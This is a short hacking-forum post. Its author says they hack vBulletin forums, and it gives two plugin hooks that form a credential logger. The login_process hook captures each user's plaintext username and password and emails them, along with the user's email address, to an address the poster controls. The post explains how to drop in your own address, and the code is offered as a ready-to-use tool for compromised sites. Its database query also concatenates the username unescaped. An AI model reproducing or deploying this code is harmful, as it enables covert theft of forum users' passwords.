I know there are already threads out there with VBulletin loggers, but for the most part I’ve seen all of them writing to a file on the local server. Rarely have I ever found a writable directory on a Vbulletin Forum I’ve hacked, so I have written a logger that E-mails you the login credentials instead of writing them to a file.
Like the the original logger, you must have 2 plugins, the first is the same:
Hook Location: global_start
Execution order 5
PHP Code:
$show['nopasswordempty'] = TRUE;
Second Plugin:
Hook Location: login_process
Execution order 5
PHP Code:
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$to= "[email protected]";
$subject = "VB Pass";
$message = $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n";
mail($to,$subject,$message,$headers);
}
}
All you need to do is replace „[email protected]“ with your email and it will work.

